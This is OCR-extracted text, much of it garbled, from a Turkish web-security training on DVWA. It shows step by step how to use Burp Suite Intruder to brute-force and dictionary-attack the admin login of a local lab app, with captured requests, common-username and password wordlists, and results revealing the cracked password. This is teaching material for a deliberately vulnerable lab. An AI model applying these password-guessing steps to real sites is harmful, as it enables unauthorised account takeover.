User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/
Accept: text/html.application/xhtml+xml.application/xml:q=0.9.%
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate|

Referer: http:/flocalhost/DVWA-masterfvulnerabilities/brul
Connection: keep-alive
Cookie: security=low; PHPSESSID=0gc1sb3j0g1fcs pagknmuvi
Upgrade-Insecure-Requests: 1

Clear§

01 Firefox/66.0 l—J
Auto §
Refresh

9
v

? < + > Type a search term 0 matches Clear
1 payload position Length: 519

Boylelikle brute force saldirisinin Gzerinde galigsacagdi bolge belirlenmis olur. Sonra kullanici
adi tutan parametreye ise elle admin girelim. Clnku kullanici adinin admin oldugunu bildigimizi
varsaylyoruz. Not: EJer istersek sifreyle beraber kullanici adina da brute force yapabiliriz.
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Burp Suite Professional v licensed to LarryL.

Burp Intruder Repeater Window Help

[Target I Proxy T Spider T Scanner Tlntruder T Repeater I Sequencer I Decoder I Comparer T Extender I Options IAIerts ]

1x(2x]|3 = [&a]..

[Target TPositions TPayluads TOpticns ]

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in
which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper |']
GET /DVWA-masterfvulnerabilities/brutej?username=deneme&password=§denemes&Login=Login i Add s
HTTP/1.1 r ;J

Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_6
Accept: text/html,application/xhtml+xml.applicati
Accept-Language: en-US.en;q=0.5
Accept-Encoding: gzip. deflate

Referer: http:/jlocalhostyDvWaA-masterjvulner:
Connection: keep-alive

Cookie: security=low; PHPSESSID=0gclsh,
Upgrade-Insecure-Requests: 1

Clears
.0) Gecko/20100101 Firefox/66.0 ;J
mlig=0.9,%/*0=0.8 AUtC S

4 Refresh
ities/brute/

glfcsm3tp8gknmuvi

=
v
LJ EJ [E B Type a search term 0 matches Clear

1 payload position

Length: 519

Burp Suite Professional v

Burp Intruder Repeater Window Help

[Target I Proxy T Spider I Scanner T Intruder T Repeater I Sequencer I Decoder I Comparer I Extender I Options IAIerts ]

1 x]|2 = |3 = [4=]..

[Target TPMitiDM TPayluads IOptiuns ]

Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in
which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper ‘v}

GET /DVWA-master/vulnerabilities/brute/?username=admin&password=§deneme§&Login=Login A

Add §
HTTP/1.1 r {—J

Host: localhost
Clear§
43v:66.0) Gecko/20100101 Firefox/66.0 ;J

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux xgg
cationfxml;q=0.9,*/*;,q=0.8 Auto §

Accept: text/html.zpplication/xhtml+xml.3
Refresh
rivulnerabilities/brute/ k—J

Accept-Language: en-US,en;q=0.5
D=0gclsb3j0glfe8m 3tpsgknmuvi

Accept-Encoding: gzip, deflate
Referer: http://localhost/DVWA-m,
Connection: keep-alive
Cookie: security=low: PHPS,
Upgrade-Insecure-Reque

=

M
2 < + > | |Type a search term 0 matches Clear

=l | Clear |

1 payload position

Length: 518

Ardindan bulundugunuz sekme olan Positions'in yanindaki Payloads sekmesine gelin.
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Burp Suite Professional v1.5.01 - licensed to LarryLau

Burp Intruder Repeater Window Help

[Target T Proxy Y Spider I Scanner I Intruder T Repeater T Sequencer I Decoder I Comparer I Extender Y Options TAIerts ]

1 =2 |3« |[45]..

[Target TPosi ons TPaonads T()ptions }

@ Payload S

or more payload sets. The number of payload sets depends on the attack type defined in the
ous payload types are available for each payload set, and each payload type can be customized in

1 | Payload count: 0

type: | Simple list | Request count: 0

is payload type lets you configure a simple list of strings that are used as payloads.

Paste
Remove r
~ clear

Add Enter a new item

[ Add from list ... R

J»

FL

Brute Forcer (Brute Force yapici) saldiri tirinu segin.

Burp Suite Professional 1 - licensed to Lar

Burp Intruder Repeater Window Help

[Target T Proxy I Spider T Scanner I Intruder T Repeater I Sequencer I Decoder I Comparer T Extender I Options IAIerts }

1 x |2 = [3 = |4 =]..

[ Target TPositions TPaonads TOptions ]

EJ Payload Sets

You can define one or mare payload sets. The number of payload sets depends on the attack type defined in the
Positions tab. Various payload types are available for each payload set. and each payload type can be customized in
different ways.

Payload set: |1 R Payload count: 0
Payload type: | Simple list b Request count: O
Dates H
Brute forcer —

(2) Payload Op|, payloads
This payload tf Character frobber
Bit flipper

Paste Username generator
e ECB block shuffler
M Extension-generated

Remove R

Clear

of strings that are used as payloads.

AN

Add Enter a new item

(Add from list ... I

Jr

"L

Daha sonra brute force saldirisi igin verilmesi gereken kriterleri belirleyin.
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Burp Suite Professional v1.5.01 - licensed to LarryLau

Burp Intruder Repeater Window Help

[Target I Proxy T Spider ]’ Scanner I Intruder T Repeater I Sequencer T Decoder I Comparer T Extender I Options IAIertE }

1= |2 =% |3 = [&a&|..

[Targat IPUEitiUnS TPaonads TOptions ]

EJ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the
Positions tab. Various payload types are available for each payload set. and each payload type can be customized in
different ways.

Payload set: |1 o Payload count: 1,679,616

Payload type: | Brute forcer - Request count: 1,679,616

Payload Options [Brute forcer]

&

This payload type generates payloads of specified lengths that contain all permutatiggs of a specified character set.

Character set: | abcdefghijklmnopgrstuvwxyz0123456789
Min length: 4 h
Max length: |4 %

Payload Processing

=)

You can define rules to perform various processing tasks on each payload before it is used.

| Add | |Enabled  Rule

I Edie |

I

FLi

Biz burada kriter olarak a'dan z'ye tum kuguk harfler karakter setini, minimum 1 karakter

uzunlugunu ve maksimum 4 karakter uzunlugunu belirledik.

Burp Suite Professional v1.5.01 - licensed to LarryLau

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner I Intruder T Repeater T Sequencer I Decoder T Comparer T Extender T Options TAIerts ]

1 =2 =3 =|4=x|5=x|[6a&]..

[Target IPusitions TPayloads TOptions ]

- 4
uJ Payload Sets N
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the
Positions tab. Various payload types are available for each payload set, and each payload type can be customized in
different ways.
Payload set: |1 | Payload count: 475,254
payload type: | Brute forcer A Request count: 475,254
@ Payload Options [Brute forcer]
This payload type generates payloads of specified lengths that contain all permutati pecified character set.
Character set: | abcdefghijklmnopgrstuvwxyz| i
Min length: 1 ' L
Max length: |4 '
@ Payload Processing
‘You can define rules to perferm various processing tasks on each payload before it is used.
| Add | |Enabled | Rule
S =
| Edit | |
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Daha sonra Options sekmesine gegin.

Burp Suite Professional v1.5.01 - licensed to LarryLau (]

Burp Intruder Repeater Window Help

"Target I Proxy I Spider I Scanner Tlntruder T Repeater I Sequencer I Decoder T Comparer I Extender I Options IAIerts }

1= |2 = |3 = [&x=/..

"Target IPositions IPayloads It)ptions ]
[¥] Store responses
] make unmodifie
] use denial-of-s

e request

'ce Jfode (no results)

e settings can be used to flag result items containing specified expressions.

["] Flag result items with responses matching these expressions:

Paste errar

exception

Load ... illegal
invalid |

Remove fail b
stack
Clear
access

dirartnn

>

-

Add Enter a new item

Match type: @ simple string
() Regex

(] case sensitive match
V] Exclude HTTP headers

L

Simdi geriye son bir sey kaldi. O da yazilimin yapacagi sifre denemelerinde hangisinde basarili
olundugunu bize sunacak bir isaret gerekmekte. Bu isareti ise DVWA'nin login ekranina
normalde elle girecegimiz rastgele kullanici adi ve sifre sonrasi ekranin vermekte oldugu su
uyariyi kullanarak belirleyecegiz:

Vulnerability: Brute Force

Login

Username:
deneme
Password:

C—
Login

Username and/or password incorrect.

Goruldugu Uzere tarayici araylzinde normal bir sekilde elle kullanici adi & sifre girildiginde ve
yanlis oldugunda bir bildirim ekrana gelmektedir. Ne zaman kullanici adi ve sifre dogru olursa
o zaman bu hata bildirimi gelmeyecektir. iste bu etki tepkiyi simdi yazilima verelim ve yazilim
her sifre denemesinde tepki olarak bu hatayi aliyorsa ekranimiza bu sifre denemesinde hata
aldim diyebilsin.
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Simdi BurpSuite'e tekrar donin ve bulundugunuz Options sekmesinin asagilarina pencereyi
kaydirin. Orada Grep - Match adli bir bélim vardir. Oradaki Clear butonuna tiklayin.

Burp Intruder Repeater Window Help

[Target I Proxy I Spider I Scanner I Intruder T Repeater I Sequencer I Decoder I Comparer I Extender T Options IAIerts ]

1= |2 = |3 = [4x= ..

[Target IPositions TPaonads TOptions ]

] Store fm A ry
] Make unmodified baseline request

[] Use denial-of-service mode (no results)
[] store full payloads

= |

Grep - Match

These settings can be used to flag res ems containing specified expressions.

G|

[[J Flag result items with respong

Paste
Load ... |

Remove

' matching these expressions:

' Are you sure you want to clear the list?
ATa

[ No | [ ves
.

access

Add Enter a new iten

Match type: @ simple string

() Regex

[] case sensitive match B

] Exclude HTTP headers

"L i

Sildiklerimizin yerine simdi DVWA'nin hata bildirimini koyacagiz. Bunun i¢in hata bildirimindeki
tim kelimeleri cimle olarak girmenize gerek yoktur. Sadece hata durumunda beliren spesifik
bir kelimeyi - eger sifre dogru oldugunda, yani oturum agildiginda o kelime sayfanin herhangi
bir yerinde yoksa o kelimeyi - kullanabilirsiniz. Hata bildirimi suydu:

Username and/or password is incorrect.

Bu cumledeki incorrect kelimesini yazilima ekleyelim. Bunun icin asagidaki resimdeki gibi
metin kutusuna incorrect kelimesini girin ve Add butonuna tiklayin.
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Burp Suite Professional v1.5.01 - licensed to LarryLau X

Burp Intruder Repeater Window Help

[Target T Proxy TSpider I Scanner I Intruder T Repeater I Sequencer I Decoder T Comparer I Extender I Options TAlerts ]

1x=|2 = |3 = |4=/|..

[ Target TPositions TPaonads TOptions ]
[¥] STOTE rEsponses A
] Make unmodified baseline request

[[] use denial-of-service mode (no results)
[_] store full payloads

9|

Grep - Match

These settings can be used to flag result items containing specified expressions.

GJ

[_] Flag result items with responses matching these expressions:

Paste
Load ...
Remove L

Clear

[ add | [incomacq < : A

Add the specified item

() Regex
D Ca

LS SEBE match
[ Exclude P headers

E

PLj

Burp Suite Professional v1.5.01 - licensed to LarryLau

. Burp Intruder Repeater Window Help

| [Target I Proxy I Spider TScanner I Intruder T Repeater I Sequencer I Decoder I Comparer I Extender T Options IAIerta ]

PILl =2 x]3 = [ 4|..

[Target IPusitiuns IPayluads IOptiuns ]
‘ ¥] SLOTE [e5ponses T
) Make unmodified baseline request

(] Use denial-of-service mode {no results)
(] store full payloads

|

Grep - Match

G|

These settings can be used to flag result items containing specifiedyessions.

] Flag result items with responses matching these expressions:

| Paste incorrect
| —
| Load ...
Remove b
Clear

Add J |imcorrect

Match type: @ simple string
() Regex

[] case sensitive match
/] Exclude HTTP headers

L

Hepsi bu kadar. Artik yazilim, belirttiginiz kriterler dlgisinde tlretebilecedi tim kelimeleri
(sifreleri) login sayfasina deneyecektir ve denedigi login bilgilerinin yanhs olup olmadigi
konusunda bizi bilgilendirecektir. Bulundugunuz sekmenin en yukarisina pencereyi kaydirin ve
Start Attack butonuna tiklayarak Brute Force saldirisini baslatin.
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. Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

Target rf rip\der rScanner rlmruder rRepea(er r/SEquencEr rDecnder rCﬂmparer rExtender rOp(inns rAIens |
1= 2 =

rTargel rPDS\UDHS rPay\Dads rOptiuns |

Request Headers

These settings control whether Intruder updates the configured request headers during attacks.

Update Content-Length header

Set Connection: close

‘)...I

Request Engine

These settings control the engine used for making HTTP requests when performing attacks
Mote: Some of these options are not available in the Free Edition of Burp

Mumber of threads:

Mumber of retries on network failure 3

Pause before retry imilliseconds) 2000
Throttle (milliseconds): @ Fixec
() variable: start step

Ekrana yeni bir pencere gelecektir ve size anlik olarak denedigi kullanici adi ve sifre ikililerini
goOsterecektir. Bu ikililerin  yanhs oldugunu penceredeki incorrect sUtunundaki tick
isaretlerinden anlayabilirsiniz. E§er incorrect stutununda tick isareti varsa girilen kullanici
bilgileri sonucu uygulamadan tepki olarak incorrect bilgisi geldi anlamina gelir. Yani demek ki
denenen kullanici bilgileri yanlismis. Eger incorrect sutununda tick isareti yoksa bu durumda
denenen kullanici bilgisi sonucu incorrect kelimesi gelmemis demektir. Yani denenen kullanici
bilgileri dogru demektir. BOylece admin kullanicisinin gifresini elde etmis (kirmig) olursunuz.
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Activities 4] larry-lau-BurpLoader v Prs 04:47

Intruder attac

Attack Save Columns

Results I Target I Positions I Payloads I Options }

‘ Filter: Showing all items

Request | Payload Status | Error | Timeout | Length | incorrect | Comment
o 200 (@] (0] 5270 W baseline request
1 a 200 (@] (] 5270 %)
2 b 200 (@] (] 5270 %)
3 c 200 (@] (] 5270 %)
4 d 200 (@] (] 5270 %)
5 e 200 (@] (] 5270 %)
6 f 200 (@] (] 5270 %)
7 g 200 (] (] 5270 )
8 h 200 (] (] 5270 )
9 i 200 O (] 5270 [}
10 i 200 O (] 5270 [}
11 k 200 O (] 5270 [}
12 | 200 O (] 5270 [}
13 m 200 O (] 5270 [
14 n 200 O (] 5270 [
15 o 200 O (] 5270 [}
16 p 200 O (] 5270 [}
17 q 200 O (] 5270 [}
18 r 200 O (] 5270 [}
19 s 200 O (] 5270 [}
20 t 200 O (] 5270 [}
21 u 200 O O 5270 )
22 v 200 O O 5270 )
23 w 200 O O 5270 W
24 x 200 O O 5270 W
25 y 200 O O 5270 W
26 z 200 O O 5270 W
27 aa 200 O O 5270 W
28 ba 200 O O 5270 W
29 ca 200 O O 5270 )
30 da 200 O O 5270 )
31 ea 200 m] [ s270 4]
32 fa 200 m] [ s270 4]
33 ga 200 ] ] 5270 ]
34 ha 200 m] [ s270 4]
35 ia 200 ] ] 5270 o
36 ja 200 ] O 5270 )
37 ka 200 ] ] 5270 [E4]
39 ma 200 ] ] 5270 [E4]
38 la 200 O O 5270 ()
44 ra 200 O O 5270 ()
42 pa 200 O O 5270 ()
45 sa 200 O O 5270 ()
41 oa 200 (@] (@] 5270 [
46 ta 200 (@] (@] 5270 [
a na nn (] M 5270 [

251240 of 475254 [

Saldiri baslar
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Activities 4 larry-lau-BurpLoader ¥

-
=

Attack Save Columns

Results | Target | Positions TPayIuads Toptiuns ]

Filter: Showing all items

]

4

Reguest v Payload Status |Emor | Timeout | Length | incarrect | Comment
250705 mvfn 200 (@] (@] 5270
9 250701 ivfn 200 ] ] 5270 )
250700 hvfn 200 (] (] 5270 &)
250699 gufn 200 (] (] 5270 W
250698 fufn 200 ] ] 5270 )
250697 evfn 200 (] (] 5270 &)
a 250696 dvfn 200 ] ] 5270 )
250695 cvfn 200 (] (] 5270 &)
'A 250694 bvfn 200 (] (] 5270 W
250693 avfn 200 ] ] 5270 )
250692 zufn 200 (] (] 5270 &)
& 250691 yufn 200 O O 5270 [
250690 xufn 200 ] ] 5270 )
? 250689 wufn 200 (] (] 5270 &)
= 250688 vufn 200 (] (] 5270 W
e 250687 uufn 200 (] (] 5270 &)
S| 250686 tufn 200 (] (] 5270 W
250685 sufn 200 ] ] 5270 )
250684 rufn 200 (] (] 5270 &)
250683 qufn 200 (] (] 5270 W
| 250682 pufn 200 ] ] 5270 ]
H 250681 oufn 200 (] (] 5270 &)
250680 nufn 200 (] (] 5270 W
() 250679 mufn 200 ] ] 5270 )
250678 lufn 200 (] (] 5270 &)
250677 kufn 200 ] ] 5270 )
lyl 250676 jufn 200 (] (] 5270 &)
250675 iufn 200 (] (] 5270 W
E' 250674 hufn 200 ] ] 5270 )
250673 gufn 200 (] (] 5270 &)
250672 fufn 200 (] (] 5270 W
250671 eufn 200 ] ] 5270 )
250670 dufn 200 (] (] 5270 &)
250669 cufn 200 (] (] 5270 W
250668 bufn 200 (] (] 5270 W
250667 aufn 200 (] (] 5270 W
250666 ztfn 200 ] ] 5270 )
250665 ytfn 200 (] (] 5270 &)
250664 xtfn 200 (] (] 5270 W
250663 wtfn 200 ] ] 5270 )
250662 vtfn 200 (] (] 5270 &)
250661 utfn 200 (] (] 5270 W
250660 ttfn 200 ] ] 5270 )
250659 stfn 200 (] (] 5270 &)
250658 rtfn 200 ] ] 5270 )
nAsT atfn an 0 0 20 I}

250701 of 475254 [

Request silitununa basilarak denenen en son
sifre tesebbiisleri anlik olarak ekranda akar
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Activities 4 larry-lau-BurpLoader ~ Prs 05:08
Intruder attack 2}

Attack Save Columns

Results | Target | Positions TPaylnads IOptiuns } .
‘ Filter: Showing all items

Request | Payload | status |Emor | Timeout |Length |incorr... | Commert 1~ ~ ~ rr A r.t
352241 saat 200 g (@] 5332 a nmreuirrceo
0 — 200 8] O 5270 7] baseline reqyast.

1 a 200 (] o 5270 ] t

2 b 200 ] O 5270 ] Su ununa
3 c 200 [} O 5270 &4

4 d 200 O (] 5270 [ tlklanlr
5 e 200 (] [m] 5270 ]

6 f 200 [} O 5270 &)

7 g 200 O O 5270 &) Ve F_—
8 h 200 (] o 5270 ]

9 i 200 ] [ s270 [t}

10 i 200 O O 5270 &)

1 k 200 a O 5270 [t}

12 I 200 ] 0 5270 [}

13 m 200 o] [ s270 [}

14 n 200 O O 5270 &)

15 o 200 (] o 5270 ]

16 P 200 ] O 5270 ]

17 q 200 O O 5270 &)

18 r 200 a O 5270 [t}

19 s 200 ] 0 5270 [}

20 t 200 ] [0 5270 [}

21 u 200 O O 5270 &)

22 % 200 (] [m] 5270 ]

23 w 200 o] [ s270 [}

24 X 200 O O 5270 &)

25 y 200 a O 5270 [t}

26 z 200 ] 0 5270 [}

27 aa 200 ] [0 5270 [}

28 ba 200 O O 5270 &)

29 ca 200 [m] O 5270 [

30 da 200 o] [ s270 [}

31 ea 200 O O 5270 &)

32 fa 200 [m] O 5270 [

33 ga 200 ] [ s270 ]

34 ha 200 O O 5270 &)

35 ia 200 a O 5270 [t}

36 ia 200 [m] O 5270 [

37 ka 200 o] [ s270 [}

39 ma 200 O O 5270 &)

38 Ia 200 [m] O 5270 [

44 ra 200 [} O 5270 W

a2 pa 200 O O 5270 &)

45 sa 200 a O 5270 [t}

41 oa 200 [m] O 5270 [&4)

a6 + an 0 I8 20 &)

M 169110 of 475254 [

Saldiri bittidinde incorrect siltununa iki kez
tiklanir ve tick'i olmayan satir en liste gelir.
Béylece dogru sifre bulunmus olur

Goruldiugu Gzere sifrenin "saat" string'i oldugu tespiti yapilabilmigtir. Dilerseniz DVWA'nIn
Brute Force ekranindaki login ekranina BurpSuite'in tespit ettigi bilgileri girerek dogrulugunu
test edebilirsiniz.

Dictionary Attack

BurpSuite yazilimi ile bu sefer bir diger sifre kirma saldiri trd olan Dictionary Attack (S6zluk
Saldirisi) yapalim. Asagida DVWA uygulamasinin Brute Force bélimindeki login ekranini yine
goruntilemektesiniz:
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Vulnerability: Brute Force

Login
Username:

Password:

Login

More Information

[!] Uyart:

Brute force teknigiyle sifre kirma saldirisinda (yukarida bir 6nceki baglikta) yazihm sifre kirma
islemini cabuk yapabilsin diye DVWA admin hesabi sifresi degistiriimisti. Su an ki admin hesabi
sifresi "saat"tir. Dolayisiyla ayni sifre Uzerinden gidilecektir. Sayet sifreyi eski haline
dondirmek ("password" yapmak) isterseniz asagidaki 1,2 ve 3 nolu resimlerde yer alan
adimlari takip edebilirsiniz.

DVWA =
* wa,
o\)
— Vulnerability: Brute Force
B Iesuaciions. Login - Vulnerability: Cross Site Request Forgery (CSRF)
b Somp neu 08 Usemaime: bty Admin passwort d:
& Sonp  Rnnat 8
e commnampeersa | | —
| ———>= R =
e meaisan. 1 Logn
Sifrenizi Kolay ec. | wore mormasion = [l ——
i Bir Sif S Plets
ir Sifre — s P More Information
L

Yapmaniz igin =

'; Bu Sayfayi —
Simdilik =
Kullanin Lo

) Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password:

P nctuion crarge

More Information

Dersin hedefi baghdinda da belirtildigi gibi hedefiniz admin kullanicisinin sifresini kirmaktir.
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Bunun icin devasa satir sayisina sahip (devasa sayida olasi sifreye sahip) .txt s6zllik dosyasi
kullanmak yerine hemen ¢6zume ulasabilecegimiz basit bir s6zluk dosyasi olugturalim. Bu
sozllk dosyasi olasi sifreleri iceren bir txt dosyasindan ibaret oldugu igin iceriginin su sekilde
oldugunu varsayalim:

olasiSifreler.txt

deneme
12345
sifre
saat

PlainText ¥ TabWidth:8 = Ln4, Col5 v INS

Kullanici adi olarak admin kullanicisini hedef almistik. Fakat biraz kapsami genigletmek adina
birden fazla kullanici adinin yer aldigi bir s6zlik dosyasi kullanalim. Boylece her bir kullanici
adi icin yukaridaki tim sifreler birer birer denensin:

olasiKullaniciAdlari.txt

root

manager
administrator
admin

PlainText ¥ Tab width:8 = Ln4, Col6 v INS
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Yukaridaki olasi kullanici adlarini barindiran sézlik dosyasina dikkat ederseniz ¢ogu, web
sahipleri tarafindan siklikla kullanilan kullanici adlarindan segilmistir. Hakeza sifreleri
barindiran sézlik dosyasi da o sekildedir. S6zlik dosyalarimizi olusturdugumuza goére simdi
BurpSuite adll yazilima gegcis yapalim. Oncelikle BurpSuite yazilimini ve saldiri esnasinda
kullanilacak tarayici yapilandirmasinin yapilmasi gerekmektedir. Bunun igin BurpSuite'i
baglatin ve Proxy sekmesine gegis yapin.

3 Burp Suite Free Edition v1.6.30

Burp Intruder PRepeater Window Help

Target Proxy Spider rSEanner rlmruder rRepeater rSEquenter rDecndEr rCnmparEr rExtendEr rOptiﬂns rmens |

Site map
‘ Filter: Hiding no(\nd items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders ‘
Hast | Method | URL |_Params [Status | Length
4« I IC
Request | Response |
Raw Hex

-

"__ pe a search term 0 matches

Sonra Options sekmesine tiklayin.

Burp Suite Free Edition v1.6.30
Burp Intruder Repeater Window Help

Target rProx\d rSpider rScanner rlntruder rRepeater rSequencer rDecoder rComparer rExlender rOptions rAIens ‘

Intercept | HTTP history | WebSackets history [ Options_ |
‘ Forward | | Crop | Ik ept is on Action l:‘
Raw | Hex

7 :

‘ 0 matches

Ardindan Edit butonuna tiklayin ve agagidaki resimdeki gibi ayarlamalari yapin.

TUBITAK — BILGEM — Siber Givenlik Enstitisi

54



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

rTarget rProxy I/Spider rScanner rlntruder rRepeater rSequencer rDecoder rCDmparer I/Extender rOptions r/AIer‘ls |
(Intercept rH'I'I'Phistory rWebSocketshistory rOptions |

Proxy Listeners

Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the list{ =

[»

Add Running | Interface | Invisible | Redirect | Certificate —
|*8008 | L] [ |Per-host

Each installation of Eur%erates its own CA certificate that Proxy listeners can use when negotiating S5L connections. You can import or exp)
ather tools or another instMation of Burp.

| Import / export CA certificate ‘ | Regenerate CA certificate

Intercept Client Requests
Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.

[ael ts b o th, Lenai
] I [»]

[4]

Edit proxy listener

l/ Binding |/ Request handling r Certificate |

These settings contral how Burp binds the proxy listener.
Eind to port: g008

Bind to address: (' Loopback anly

im0 Allinterfaces

() Specific address: [127.0.0.1 |v|

QK | | Cancel

Ardindan BurpSuite'in penceresinden biraz asagiya kayin ve asagidaki resimden de
gorulebilecegdi gibi Intercept Client To Server Message'a tick isareti koyulu oldugundan emin
olun. Bu tick isareti sizin login ekraninda deneme mahiyetinde yapacaginiz ilk girig
tesebblsunde talebinizi sunucuya gitmeden BurpSuite'in yakalamasini saglayacaktir.
Ardindan BurpSuite'in icerisinden sozluk dosyalarini ekleyecegiz ve BurpSuite yaptigimiz ilk

giris tesebbisinli so6zlik dosyalarinindaki tim kelimeleri sirasiyla deneyecek kadar
tekrarlayacaktir.
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Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

fTarget rPro)q! rSplder rScanner rmtruder rRepeater r/Sequencer r/Decoder rCOmparer rExtender rOpllons rAIens |
[‘Intercept | HTTP histary | WebSockets history | Options |

Remaove ||| [and [status code [Does not match [+304% N =
[

|And |URL |Isintarget scope |

[¥] Automarically update Content-Length header when the response is edited

Intercept WebSockets Messages

Use these settings to control which WebSockets messages are stalled for viewing and editing in the Intercept tab.
Intercept client-to-server messages

[[]Intercept server-to-client messages

Response Modification

These settings are used to perform automatic modification of responses.

[_] Unhide hidden form fields

[ Prominently highlight unhidden field

[4]

Simdi Firefox'u (veya baska bir tarayiciyi) acin ve asagidaki adimlari uygulayin.

Ubuntu Start Page - Mozilla Firefox

Ubuntu Start Page x

& | @ | Searchor enter address v | & ||Q search Y B> @
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Ubuntu Start Page Bl 1k Preferences x

€ O Firefox about:preferencest#advanced v | ¢ |[Q search w8 O 3 A S By ey =

@ General Advanced
Q search
General Data Choices Network Update Certificates
= Content I
A Applications Connection
Configure how Firefox connects to the Internet | Settings... |

oo Privacy

& Security Cached Web Content

o Your web content cache is currently using 267 MB of disk space Clear Now
Sync

Override automatic cache management
& Advanced 350

Offline Web Content and User Data

RO LE 3l m @ 3

Your application cacheis currently using 0 byte Clear Now
v | Tell me when a website asks to store data for offline use Exceptions...
The following websites are allowed to store data for offline use:

Remove...

Connection Settings

Configure Proxies to Access the Internet
| ) No proxy
) Auto-detect proxy settings For this network
) Use system proxy settings

@ Manual proxy configuration:

HTTP Proxy: | localhost l Port: 8008 o

[] Use this proxy server for all protocols

| SSL Proxy: Port: 0|2
k ETP Proxy: Port: 0°
f SOCKS Host: Port: 0
H ® SOCKSv4 () SOCKS V5
1 No Proxy for:

hura5| bos kalacak (!)
| Example: .mozilla.org, .net.nz, 192.168.1.0/24
| ) Automatic proxy configuration URL:

[ Do not prompt for authentication if password is saved

Help Cancel [ oK J

Artik Dictionary Attack icin hazirsiniz. DVWA'nin Brute Force ders ekranina gelin. Login
ekranina rastgele bir seyler girin. Mesela kullanici adi igin deneme ve sifre i¢in de deneme
girin:
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Vulnerability: Brute Force

Login

Username:
deneme
Password:

ey

Login

Username and/or password incorrect.

Login butonuna tikladidiniz an BurpSuite bu isteginizi sunucuya giderken yakalayacaktir ve
sozlik dosyalarini eklemek ve kurallari belirlemek igin bekletecektir. BurpSuite penceresine
gelin ve Proxy > Intercept sekmelerine tiklayin.

Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

Target r/Pruxy rSpider rS:annEr r/lmruder rREpEaIET rSEquencEr rDEEUdEr rCumparer rExlaﬂder rOptiuns rA\Ens |
Intercept rHTFPhlsmry rWEDSDEKElShISlDr’\f rOptlnns |

Request to http://localhost@0 [127.0.01]

| Forward || Drop || Intercept is on || Action | H::H 2 |

Raw Params Headers Hex

GET /Advwa/vulnerabilities/brute/Tuserr 1eme&password=deneme&login=Login HTTP/1.1

Host: localhost

User-Agent: MozillasSs.0 (X11; Ubuntu; Linux xBG6_64; rv:i42.0) Gecko/20100101 Firefox/42.0

Accept: text/html,applicatien/xhtml+xml,application/xml;gq=0.9,%/%;q=0.8

Accepr-Language: en-Us,en; 0=0.5Braya sag tiklayin ve "Send to Intruder" secenegine tiklayin.
Accept-Encoding: gzip, deflate

Referer: http://localhost/dvwa/vulnerabilities brute/

Cookie: security=low; PHPSESSID=od4hiZqikrilSpB8i9kclimi8u3

Connection: keep-alive

-

‘ 0 matches

Yukaridaki pencerede yer alan kodlarin bulundugu alana sag tiklayin ve Send To Intruder
segenegine tiklayin. Bu iglem sizi asagidaki resimde goérinen sekmeye yodnlendirecektir:
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Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

rTargEt |/F‘r-:-.-. rSpider rScanner r\mruder r’Repealer rSequn:er rDchder rCUmparer rExtendEr rOptiUns rAIerls |

1 = 2 =

(Target |/Posmons rPavIoads rOonns ‘

Payload Positions

payloads are assigned to payload positions - see help for full details.

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which

Attack type: |Sniper

|v|

CET /dvwasvulnerabilities/brute/Tusernane=§denenefipassword=§deneme§&login=§Loging
HTTP/1.1

Host: localhost

User-Agent: MozillasSs.0 (X11; Ubuntu; Linux xB6_64; rv:id42.0) Geckos/20100101
Firefox/42.0

Accept: text/html,applicatiensxhtml+xml,application/xml;g=0.9,%/%;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Enceding: gzip, deflate

Referer: http://1ocalhost/dwwasvulnerabilities/brute/

Cookie: security=§low§; PHPSESSID=§od4hiZ2qikrilSp8iSkclim]Su3g

Connection: keep-alive

el Add §

-

0 matches IL‘

S payload positions

Length: 483

Yukaridaki resmin sag tarafinda bulunan Clear $ butonuna tiklayin. Bu islem BurpSuite'in brute
force icin sectigi parametreleri secimli halden kaldiracaktir. Bu segimi elimizle yapacagiz. Clear
$ butonuna tikladiktan sonra username parametresine $ semboliinii koyacagiz. Bunun igin

asag@idaki resimdeki gibi deneme yazisini segin ve sag taraftaki Add $ butonuna tiklayin.

3 Burp Suite Free Edition v1.6.30

Burp Intruder Repeater Window Help

rTarget r Pr

rSpider rScanner rlmruder rRepeater rSequencer rDecoder rComparer rExtender rOpUDns rAIens |

1= 2 =

fTarget r Positions r Payloads rOptlons |
Payload Positions
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which
payloads are assigned to payload positions - see help for full details
Attack type: |Sniper |v‘
GET ,fd\u'wa/vmnerab111t1es/brute/?usarname:denemal&password:deneme&\_om n=Login HTTP/1.1 - Add §
Host: Tocalhest ]
User-Agent: Mozillas5.0 (%113 Ubuntu; ¥B6_54; rv:42.0) Gecko /20100101
Firefox/42.0
Accept: text/html,application/xhtml 1,application/xml;g=0.9,%/%;g=0.8
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dvwg ulnerabilities/brute/
